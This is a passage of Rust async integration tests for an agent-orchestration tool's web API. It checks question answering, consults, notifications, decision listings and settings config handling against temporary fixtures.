14041 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
14042 let fx = Fixture::start().await;
14043 let id = ask(&fx, "No seat", &[]);
14044 let store = fx.questions();
14045 let before = std::fs::read(store.path_of(&id)).unwrap();
14046 let res = fx
14047 .post(
14048 &format!("/api/questions/{id}/say"),
14049 Some(r#"{"body":"hello"}"#),
14050 )
14051 .await;
14052 assert_eq!(res.status, 422, "{}", res.body);
14053 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
14054 let res = fx
14055 .post(
14056 &format!("/api/questions/{id}/answer"),
14057 Some(r#"{"text":"hello"}"#),
14058 )
14059 .await;
14060 assert_eq!(res.status, 200, "{}", res.body);
14061 assert_eq!(
14062 store.get(&id).unwrap().resolution().as_deref(),
14063 Some("hello")
14064 );
14065 }
14066
14067 #[tokio::test]
14068 async fn saying_something_appends_a_turn_without_answering() {
14069 let fx = Fixture::start().await;
14070 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14071 fx.questions().beat(&id, ask::WaiterKind::Asker);
14072 let path = format!("/api/questions/{id}/say");
14073
14074 let res = fx
14075 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
14076 .await;
14077 assert_eq!(res.status, 200, "{}", res.body);
14078 let body = res.json();
14079 assert_eq!(body["status"], "open", "talking back is not a decision");
14080 assert_eq!(body["answer"], Value::Null);
14081 assert_eq!(body["thread"][0]["who"], "operator");
14082 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
14083 assert_eq!(body["waiting_on_agent"], true);
14084 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14086 }
14087
14088 #[tokio::test]
14089 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
14090 let fx = Fixture::start().await;
14091 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14092
14093 let list = fx.get("/api/questions").await.json();
14094 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
14095
14096 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
14097 assert_eq!(res.status, 409, "{}", res.body);
14098 let q = fx.questions().get(&id).unwrap();
14099 assert!(q.status.open());
14100 assert!(q.consult.is_none());
14101 }
14102
14103 #[tokio::test]
14104 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
14105 let fx = Fixture::start().await;
14106 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14107 let cfg = Config {
14108 agents: vec![crate::config::AgentSpec {
14109 id: "mock".to_owned(),
14110 kind: crate::config::AgentKind::Command,
14111 model: None,
14112 command: vec!["true".to_owned()],
14113 extra_args: Vec::new(),
14114 env: Default::default(),
14115 prompt_delivery: None,
14116 max_turn_secs: None,
14117 }],
14118 ..Config::default()
14119 };
14120 let talk = crate::talk::begin(
14121 &fx.talks(),
14122 &cfg,
14123 fx.home.path().to_path_buf(),
14124 Some("mock"),
14125 )
14126 .unwrap();
14127 let mut task = Task::new(
14128 "t".to_owned(),
14129 "Do it".to_owned(),
14130 PathBuf::from("/repo/magi"),
14131 Source::Agent {
14132 run: talk.id.clone(),
14133 node: crate::queue::CHAT_NODE.to_owned(),
14134 },
14135 );
14136 task.start("20260902-000000-beef".to_owned());
14137 fx.queue().put(&mut task).unwrap();
14138
14139 let list = fx.get("/api/questions").await.json();
14140 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
14141 assert_eq!(
14142 list[0]["choices"],
14143 serde_json::json!(["SQLite", "Redis"]),
14144 "the hand-over is never a choice"
14145 );
14146 fx.questions()
14147 .update(&id, |q| {
14148 q.node = crate::land::APPROVAL_NODE.into();
14149 q.choices = vec!["merge".into(), "hold".into()];
14150 Ok(())
14151 })
14152 .unwrap();
14153 let list = fx.get("/api/questions").await.json();
14154 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
14155 assert_eq!(list[0]["can_consult_chat"], true);
14156 fx.questions()
14157 .update(&id, |q| {
14158 q.node = crate::bump::NOTICE_NODE.into();
14159 Ok(())
14160 })
14161 .unwrap();
14162 let list = fx.get("/api/questions").await.json();
14163 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
14164 assert_eq!(list[0]["can_consult_chat"], false);
14165 }
14166
14167 #[tokio::test]
14168 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
14169 let fx = Fixture::start().await;
14170 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14171 fx.questions()
14172 .update(&id, |q| {
14173 q.node = crate::land::APPROVAL_NODE.into();
14174 q.choices = vec!["merge".into(), "hold".into()];
14175 Ok(())
14176 })
14177 .unwrap();
14178 let cfg = Config {
14179 agents: vec![crate::config::AgentSpec {
14180 id: "mock".to_owned(),
14181 kind: crate::config::AgentKind::Command,
14182 model: None,
14183 command: vec!["true".to_owned()],
14184 extra_args: Vec::new(),
14185 env: Default::default(),
14186 prompt_delivery: None,
14187 max_turn_secs: None,
14188 }],
14189 ..Config::default()
14190 };
14191 let repo = fx.home.path().join("chat-repo");
14193 std::fs::create_dir_all(&repo).unwrap();
14194 let toml = repo.join("magi.toml");
14195 std::fs::write(&toml, "this is = = not toml").unwrap();
14196 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
14197 let mut task = Task::new(
14198 "t".to_owned(),
14199 "Do it".to_owned(),
14200 PathBuf::from("/repo/magi"),
14201 Source::Agent {
14202 run: talk.id.clone(),
14203 node: crate::queue::CHAT_NODE.to_owned(),
14204 },
14205 );
14206 task.start("20260902-000000-beef".to_owned());
14207 fx.queue().put(&mut task).unwrap();
14208
14209 let path = format!("/api/questions/{id}/consult");
14210 let res = fx.post(&path, None).await;
14211 assert!(res.status >= 400, "{}", res.body);
14212 assert!(fx.questions().get(&id).unwrap().consult.is_none());
14213 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
14214
14215 std::fs::write(&toml, "").unwrap();
14216 let res = fx.post(&path, None).await;
14217 assert_eq!(res.status, 202, "{}", res.body);
14218 assert!(fx.questions().get(&id).unwrap().consult.is_some());
14219 let q = fx.questions().get(&id).unwrap();
14220 assert!(q.status.open());
14221 assert!(q.answer.is_none());
14222 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
14223 assert_eq!(res.json()["can_consult_chat"], true);
14224 let list = fx.get("/api/questions").await.json();
14225 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
14226 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
14227
14228 let res = fx
14229 .post(
14230 &format!("/api/questions/{id}/answer"),
14231 Some(r#"{"choice":"hold"}"#),
14232 )
14233 .await;
14234 assert_eq!(res.status, 200, "{}", res.body);
14235 assert_eq!(res.json()["answer"]["choice"], "hold");
14236 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
14237 assert_eq!(res.json()["can_consult_chat"], false);
14238 assert_eq!(fx.post(&path, None).await.status, 409);
14239
14240 let mut talk = fx.talks().get(&talk.id).unwrap();
14241 crate::talk::clear_pending(&mut talk, &fx.talks()).unwrap();
14243 crate::talk::close(&mut talk, &fx.talks()).unwrap();
14244 let list = fx.get("/api/questions").await.json();
14245 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
14246 assert_eq!(list[0]["origin_chat_closed"], true);
14247 assert_eq!(list[0]["can_consult_chat"], false);
14248
14249 fx.talks().remove(&talk.id).unwrap();
14250 let list = fx.get("/api/questions").await.json();
14251 assert_eq!(list[0]["origin_chat"], Value::Null);
14252 assert_eq!(list[0]["origin_chat_closed"], false);
14253 assert_eq!(list[0]["can_consult_chat"], false);
14254 }
14255
14256 #[tokio::test]
14257 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
14258 let fx = Fixture::start().await;
14259 let store = fx.questions();
14260 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14261 store.beat(&id, ask::WaiterKind::Asker);
14262 assert_eq!(
14263 fx.get("/api/health").await.json()["questions_needs_owner"],
14264 1
14265 );
14266
14267 let res = fx
14273 .post(
14274 &format!("/api/questions/{id}/say"),
14275 Some(r#"{"body":"why not Postgres?"}"#),
14276 )
14277 .await;
14278 assert_eq!(res.status, 200, "{}", res.body);
14279 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14280 assert_eq!(
14281 fx.get("/api/health").await.json()["questions_needs_owner"],
14282 0,
14283 "waiting on the agent is not waiting on the owner"
14284 );
14285
14286 let mut q = store.get(&id).expect("get");
14290 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
14291 .expect("reply");
14292 store.put(&mut q).expect("put");
14293 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14294 assert_eq!(
14295 fx.get("/api/health").await.json()["questions_needs_owner"],
14296 1,
14297 "the agent's reply is what should light the banner back up"
14298 );
14299 }
14300
14301 #[tokio::test]
14302 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
14303 let fx = Fixture::start().await;
14304 let store = fx.questions();
14305
14306 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14307 let res = fx
14308 .post(
14309 &format!("/api/questions/{empty_id}/say"),
14310 Some(r#"{"body":" "}"#),
14311 )
14312 .await;
14313 assert_eq!(res.status, 400, "{}", res.body);
14314
14315 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14316 let mut answered = store.get(&answered_id).expect("get");
14317 answered
14318 .answer(Answer::Choice("SQLite".to_owned()))
14319 .expect("answer");
14320 store.put(&mut answered).expect("put");
14321 let res = fx
14322 .post(
14323 &format!("/api/questions/{answered_id}/say"),
14324 Some(r#"{"body":"still there?"}"#),
14325 )
14326 .await;
14327 assert_eq!(res.status, 409, "{}", res.body);
14328
14329 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14330 let mut abandoned = store.get(&abandoned_id).expect("get");
14331 abandoned.abandon("timed out");
14332 store.put(&mut abandoned).expect("put");
14333 let res = fx
14334 .post(
14335 &format!("/api/questions/{abandoned_id}/say"),
14336 Some(r#"{"body":"still there?"}"#),
14337 )
14338 .await;
14339 assert_eq!(res.status, 409, "{}", res.body);
14340 }
14341
14342 #[tokio::test]
14343 async fn historical_release_2029_api_retains_answer_and_refuses_controls() {
14344 let fx = Fixture::start().await;
14345 let questions = fx.questions();
14346 let mut q = Question::new(
14347 String::new(),
14348 crate::bump::NOTICE_NODE.into(),
14349 "release-watch".into(),
14350 "Release PR approval".into(),
14351 "Saved head".into(),
14352 vec!["merge".into(), "hold".into()],
14353 );
14354 q.id = "20261109-014940-871849981cd969b1-0000000000000000-2029".into();
14355 q.merge_target = Some(crate::merge_decision::Target {
14356 pr: "https://example.test/mebae/pull/100".into(),
14357 head: "4d5a46f99a678608d2b883498d8bebd9399c0261".into(),
14358 language: "en".into(),
14359 });
14360 q.answer(Answer::Choice("merge".into())).unwrap();
14361 q.answer_delivered = true;
14362 questions.put(&mut q).unwrap();
14363 let dir = fx.home.path().join("notifications/task-chat-migration-v1");
14364 std::fs::create_dir_all(&dir).unwrap();
14365 std::fs::write(
14366 dir.join("state.json"),
14367 serde_json::to_vec(&serde_json::json!({
14368 "schema": 1, "sources": [q.id], "pending": [q.id]
14369 }))
14370 .unwrap(),
14371 )
14372 .unwrap();
14373 let bytes = std::fs::read(questions.path_of(&q.id)).unwrap();
14374 for migrated in [false, true] {
14375 if migrated {
14376 crate::task_chat::sweep(&fx.queue(), &fx.talks(), &questions, fx.home.path());
14377 }
14378 for endpoint in ["/api/questions", "/api/questions/core"] {
14379 let response = fx.get(endpoint).await;
14380 assert_eq!(response.status, 200);
14381 let rows = response.json();
14382 let row = rows
14383 .as_array()
14384 .unwrap()
14385 .iter()
14386 .find(|r| r["id"] == q.id)
14387 .unwrap();
14388 assert_eq!(row["status"], "answered");
14389 assert_eq!(row["answer"]["choice"], "merge");
14390 assert_eq!(row["can_answer"], false);
14391 assert_eq!(row["history_only"], true);
14392 }
14393 let answer = fx
14394 .post(
14395 &format!("/api/questions/{}/answer", q.id),
14396 Some(r#"{"choice":"merge"}"#),
14397 )
14398 .await;
14399 assert_eq!(answer.status, 409, "{}", answer.body);
14400 assert_eq!(std::fs::read(questions.path_of(&q.id)).unwrap(), bytes);
14401 }
14402 }
14403
14404 #[tokio::test]
14405 async fn an_answer_the_question_does_not_offer_is_refused() {
14406 let fx = Fixture::start().await;
14407 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
14408 let path = format!("/api/questions/{id}/answer");
14409
14410 for body in [
14411 r#"{"choice":"Postgres"}"#,
14412 r#"{"text":"whatever you think"}"#,
14413 r#"{"choice":"Redis","text":"both"}"#,
14414 r#"{}"#,
14415 ] {
14416 let res = fx.post(&path, Some(body)).await;
14417 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
14418 assert!(res.json()["error"].is_string(), "{}", res.body);
14419 }
14420 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
14422 }
14423
14424 #[tokio::test]
14425 async fn a_free_text_question_takes_text_and_not_a_choice() {
14426 let fx = Fixture::start().await;
14427 let id = ask(&fx, "What should the flag be called?", &[]);
14428 fx.questions().beat(&id, ask::WaiterKind::Asker);
14429 let path = format!("/api/questions/{id}/answer");
14430
14431 assert_eq!(
14432 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
14433 400
14434 );
14435 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
14436 assert_eq!(res.status, 200, "{}", res.body);
14437 assert_eq!(res.json()["answer"]["text"], "--json");
14438 }
14439
14440 #[tokio::test]
14441 async fn an_unknown_question_is_a_json_404() {
14442 let fx = Fixture::start().await;
14443 let res = fx
14444 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
14445 .await;
14446 assert_eq!(res.status, 404, "{}", res.body);
14447 assert!(res.json()["error"].is_string());
14448 }
14449
14450 #[tokio::test]
14451 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
14452 let fx = Fixture::start().await;
14453 let questions = Questions::at(fx.home.path().join("questions"));
14454 let store = Notices::at(fx.home.path().join("notifications"));
14455 let mut q = ask::Question::new(
14456 "t1".into(),
14457 "conduct".into(),
14458 "conductor".into(),
14459 "Continue?".into(),
14460 String::new(),
14461 Vec::new(),
14462 );
14463 questions.put(&mut q).unwrap();
14464 let mut n = Notice::warn("task:t1", "Task t1 is held.");
14465 n.covered_by = Some(q.id.clone());
14466 let n = store.raise(n).unwrap();
14467 let listed = fx.get("/api/notifications").await.json();
14468 assert_eq!(listed["items"][0]["answerable_question"], q.id);
14469 questions
14470 .update(&q.id, |q| {
14471 q.abandon("run gone");
14472 Ok(())
14473 })
14474 .unwrap();
14475 let listed = fx.get("/api/notifications").await.json();
14476 assert!(listed["items"][0]["answerable_question"].is_null());
14477 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
14478 assert!(
14479 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
14480 .unwrap()
14481 .contains("answerable_question")
14482 );
14483 }
14484
14485 #[tokio::test]
14486 async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
14487 let fx = Fixture::start().await;
14488 let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
14489 let task = crate::queue::Task::new(
14490 "work".into(),
14491 "work".into(),
14492 fx.home.path().into(),
14493 crate::queue::Source::Human,
14494 );
14495 let inquiry = outbox
14496 .file(&task, None, "test".into(), "入力待ち", "詳細")
14497 .unwrap();
14498 let root = fx.home.path().join("notifications/task-inquiries");
14499 std::fs::write(root.join("broken.json"), "{").unwrap();
14500 let mut unsupported = inquiry.clone();
14501 unsupported.id = "unsupported".into();
14502 unsupported.schema = 99;
14503 std::fs::write(
14504 root.join("unsupported.json"),
14505 serde_json::to_vec(&unsupported).unwrap(),
14506 )
14507 .unwrap();
14508 let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
14509 for _ in 0..2 {
14510 let response = fx.get("/api/decisions").await;
14511 assert_eq!(response.status, 200, "{}", response.body);
14512 let listed = response.json();
14513 assert_eq!(listed["unreadable"], 2);
14514 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14515 assert_eq!(listed["items"][0]["id"], inquiry.id);
14516 assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
14517 }
14518 assert_eq!(
14519 before,
14520 std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
14521 );
14522 assert!(outbox.list().is_err());
14523 std::fs::remove_file(root.join("broken.json")).unwrap();
14524 std::fs::remove_file(root.join("unsupported.json")).unwrap();
14525 assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
14526 }
14527
14528 #[tokio::test]
14529 async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
14530 let fx = Fixture::start().await;
14531 let root = fx.home.path().join("notifications/task-chat-migration-v1");
14532 std::fs::create_dir_all(&root).unwrap();
14533 let journal = serde_json::json!({
14534 "schema": 1, "pending": ["saved-inquiry"],
14535 "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
14536 });
14537 let bytes = serde_json::to_vec(&journal).unwrap();
14538 std::fs::write(root.join("state.json"), &bytes).unwrap();
14539 for _ in 0..2 {
14540 let response = fx.get("/api/decisions").await;
14541 assert_eq!(response.status, 200);
14542 let listed = response.json();
14543 assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
14544 assert!(listed["items"].as_array().unwrap().is_empty());
14545 assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
14546 }
14547 std::fs::write(root.join("state.json"), b"{").unwrap();
14549 let response = fx.get("/api/decisions").await;
14550 assert_eq!(response.status, 200);
14551 assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
14552 }
14553
14554 #[tokio::test]
14555 async fn notifications_list_read_dismiss_and_health_agree() {
14556 let fx = Fixture::start().await;
14557 let store = Notices::at(fx.home.path().join("notifications"));
14558 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
14559 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
14560
14561 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
14562 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
14563
14564 store
14565 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
14566 .unwrap();
14567 let health = fx.get("/api/health").await.json();
14568 assert_eq!(health["notifications_unread"], 2);
14569 assert_ne!(
14570 health["notifications_rev"], rev0,
14571 "the badge must move live"
14572 );
14573
14574 let listed = fx.get("/api/notifications").await.json();
14575 assert_eq!(listed["unread"], 2);
14576 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
14577 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
14578
14579 let read = fx
14580 .post(&format!("/api/notifications/{}/read", a.id), None)
14581 .await;
14582 assert_eq!(read.status, 200, "{}", read.body);
14583 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
14584
14585 let gone = fx
14586 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
14587 .await;
14588 assert_eq!(gone.status, 200, "{}", gone.body);
14589 let listed = fx.get("/api/notifications").await.json();
14590 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14591 assert_eq!(listed["unread"], 0);
14592
14593 store.raise(Notice::info("x", "again")).unwrap();
14594 let all = fx.post("/api/notifications/read-all", None).await;
14595 assert_eq!(all.status, 200, "{}", all.body);
14596 assert_eq!(all.json()["marked"], 1);
14597 assert_eq!(
14598 fx.get("/api/health").await.json()["notifications_unread"],
14599 0
14600 );
14601
14602 let missing = fx.post("/api/notifications/nope/read", None).await;
14603 assert_eq!(missing.status, 404, "{}", missing.body);
14604 assert!(missing.json()["error"].is_string());
14605 }
14606
14607 #[tokio::test]
14614 async fn a_task_cannot_be_filed_over_the_phone_directly() {
14615 let f = Fixture::start().await;
14616
14617 let res = f
14618 .post(
14619 "/api/queue",
14620 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
14621 )
14622 .await;
14623
14624 assert_eq!(
14625 res.status, 405,
14626 "POST /api/queue must not be a route: {}",
14627 res.body
14628 );
14629 assert!(
14630 f.queue().list().is_empty(),
14631 "a task filed by a route that does not exist must not reach the disk"
14632 );
14633 assert_eq!(f.get("/api/queue").await.status, 200);
14636 }
14637
14638 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
14640 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
14641 .expect("checkout dir");
14642 }
14643
14644 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
14646
14647 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
14648 let tmp = TempDir::new().expect("tempdir");
14649 let repo = tmp.path().join("repo");
14650 std::fs::create_dir_all(&repo).expect("repo dir");
14651 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
14652 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
14653 if let Some(text) = machine_toml {
14654 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
14655 std::fs::write(&machine, text).expect("machine toml");
14656 }
14657 (tmp, repo, machine)
14658 }
14659
14660 async fn settings_checkout(path: &FsPath, text: &str) {
14661 std::fs::create_dir_all(path).unwrap();
14662 std::fs::write(path.join("magi.toml"), text).unwrap();
14663 for args in [
14664 vec!["init", "-b", "main"],
14665 vec!["add", "magi.toml"],
14666 vec![
14667 "-c",
14668 "user.name=Test",
14669 "-c",
14670 "user.email=test@example.invalid",
14671 "commit",
14672 "-m",
14673 "fixture",
14674 ],
14675 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
14676 vec![
14677 "symbolic-ref",
14678 "refs/remotes/origin/HEAD",
14679 "refs/remotes/origin/main",
14680 ],
14681 ] {
14682 crate::git::git(path, &args).await.unwrap();
14683 }
14684 }
14685
14686 #[tokio::test]
14687 async fn settings_context_handlers_validate_and_save_without_a_socket() {
14688 let (tmp, repo, machine) =
14689 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
14690 let root = tmp.path().join("roots");
14691 let selected = root.join("host/owner/selected");
14692 settings_checkout(
14693 &selected,
14694 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
14695 )
14696 .await;
14697 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
14698 let before = std::fs::read(&machine).unwrap();
14699 let ui = Arc::new(
14700 Ui::new(
14701 Queue::at(tmp.path().join("queue")),
14702 Questions::at(tmp.path().join("questions")),
14703 Talks::at(tmp.path().join("talks")),
14704 tmp.path().join("runs"),
14705 tmp.path().to_path_buf(),
14706 repo.clone(),
14707 )
14708 .with_machine_config(Some(machine.clone())),
14709 );
14710 let query = || {
14711 Query(SettingsQuery {
14712 repo: Some(selected.clone()),
14713 })
14714 };
14715 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
14716 assert!(v.error.is_none(), "{:?}", v.error);
14717 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
14718 assert_eq!(conductor.source, "repo");
14719 assert_eq!(
14720 conductor.machine_value,
14721 Some(toml::Value::String("a".into()))
14722 );
14723 assert!(!conductor.editable);
14724 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
14725 assert_eq!(
14726 judges.count.as_ref().unwrap().machine_value,
14727 Some(toml::Value::Integer(1))
14728 );
14729 assert!(
14730 !v.roles
14731 .iter()
14732 .find(|r| r.key == "reviewers")
14733 .unwrap()
14734 .editable
14735 );
14736 let unknown = || {
14737 Query(SettingsQuery {
14738 repo: Some(tmp.path().to_path_buf()),
14739 })
14740 };
14741 assert_eq!(
14742 settings_get(State(ui.clone()), unknown())
14743 .await
14744 .unwrap_err()
14745 .status,
14746 StatusCode::UNPROCESSABLE_ENTITY
14747 );
14748 let body = || {
14749 Ok(Json(RolesBody {
14750 revision: v.revision.clone(),
14751 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14752 counts: Default::default(),
14753 }))
14754 };
14755 assert_eq!(
14756 settings_put_roles(State(ui.clone()), unknown(), body())
14757 .await
14758 .unwrap_err()
14759 .status,
14760 StatusCode::UNPROCESSABLE_ENTITY
14761 );
14762 assert_eq!(std::fs::read(&machine).unwrap(), before);
14763 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14764 .await
14765 .unwrap();
14766 assert_eq!(
14767 saved.repo,
14768 selected.canonicalize().unwrap().display().to_string()
14769 );
14770 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14771 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14772 let fresh = root.join("host/owner/fresh");
14774 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14775 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14776 .await
14777 .unwrap();
14778 assert_eq!(fresh_view.repositories.len(), 3);
14779 }
14780
14781 #[tokio::test]
14782 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14783 let (tmp, repo, machine) = settings_dirs(
14784 "[roles]\nreviewers = [\"a\"]\n",
14785 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14786 );
14787 let root = tmp.path().join("roots");
14788 let selected = root.join("host/owner/selected");
14789 settings_checkout(
14790 &selected,
14791 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14792 )
14793 .await;
14794 let broken = root.join("host/owner/broken");
14795 settings_checkout(&broken, "[roles\nbroken").await;
14796 let machine_text = format!(
14797 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14798 toml::Value::String(root.display().to_string())
14799 );
14800 std::fs::write(&machine, &machine_text).unwrap();
14801 let originals: Vec<_> = [&repo, &selected, &broken]
14802 .iter()
14803 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14804 .collect();
14805 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14806 let default = f.get("/api/settings").await.json();
14807 assert_eq!(
14808 default["repo"],
14809 repo.canonicalize().unwrap().display().to_string()
14810 );
14811 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14812 let query = format!("?repo={}", selected.display());
14813 let res = f.get(&format!("/api/settings{query}")).await;
14814 assert_eq!(res.status, 200, "{}", res.body);
14815 let v = res.json();
14816 assert!(v["error"].is_null(), "{v}");
14817 assert_eq!(v["repositories"], default["repositories"]);
14818 let role = |key: &str| {
14819 v["roles"]
14820 .as_array()
14821 .unwrap()
14822 .iter()
14823 .find(|r| r["key"] == key)
14824 .unwrap()
14825 };
14826 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14827 assert_eq!(role("advisors")["source"], "repo");
14828 assert_eq!(role("advisors")["editable"], false);
14829 assert!(role("advisors")["machine_value"].is_null());
14830 assert_eq!(role("judges")["count"]["value"], 2);
14831 assert_eq!(role("judges")["count"]["machine_value"], 1);
14832 assert_eq!(role("judges")["count"]["source"], "repo");
14833 let source = role("judges")["count"]["source_path"].as_str().unwrap();
14834 assert!(
14835 source.contains("origin/main") && !source.contains("magi/config/"),
14836 "{source}"
14837 );
14838 assert_eq!(
14839 role("reviewers")["editable"],
14840 false,
14841 "default context outside roots must protect its declarations"
14842 );
14843 let body =
14844 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14845 let unknown = format!("?repo={}", tmp.path().display());
14846 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14847 assert_eq!(
14848 f.put(&format!("/api/settings/roles{unknown}"), &body)
14849 .await
14850 .status,
14851 422
14852 );
14853 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14854 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14855 .to_string();
14856 assert_eq!(
14857 f.put(&format!("/api/settings/roles{query}"), &refuse)
14858 .await
14859 .status,
14860 422
14861 );
14862 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14863 assert_eq!(saved.status, 200, "{}", saved.body);
14864 assert_eq!(saved.json()["repo"], v["repo"]);
14865 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14866 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14867 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
14868 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14869 }
14870 let error = f
14871 .get(&format!("/api/settings?repo={}", broken.display()))
14872 .await;
14873 assert_eq!(error.status, 200);
14874 assert!(error.json()["error"]["message"].is_string());
14875 assert_eq!(error.json()["repositories"], default["repositories"]);
14876 }
14877
14878 #[tokio::test]
14879 async fn settings_get_reports_sources_and_the_advisors_fallback() {
14880 let (_tmp, repo, machine) =
14881 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14882 let f = Fixture::with_repo_and_machine(repo, machine).await;
14883 let res = f.get("/api/settings").await;
14884 assert_eq!(res.status, 200, "{}", res.body);
14885 let v = res.json();
14886 assert!(v["error"].is_null(), "{v}");
14887 let role = |k: &str| {
14888 v["roles"]
14889 .as_array()
14890 .and_then(|r| r.iter().find(|x| x["key"] == k))
14891 .cloned()
14892 .unwrap_or_else(|| panic!("no role {k}: {v}"))
14893 };
14894 assert_eq!(role("judges")["source"], "machine");
14895 assert_eq!(role("judges")["editable"], true);
14896 assert_eq!(role("implementers")["source"], "default");
14897 let adv = role("advisors");
14898 assert_eq!(adv["fallback"], "judges");
14899 assert!(
14900 adv["seats"]
14901 .as_array()
14902 .is_some_and(|s| s.iter().all(|x| x == "b")),
14903 "{adv}"
14904 );
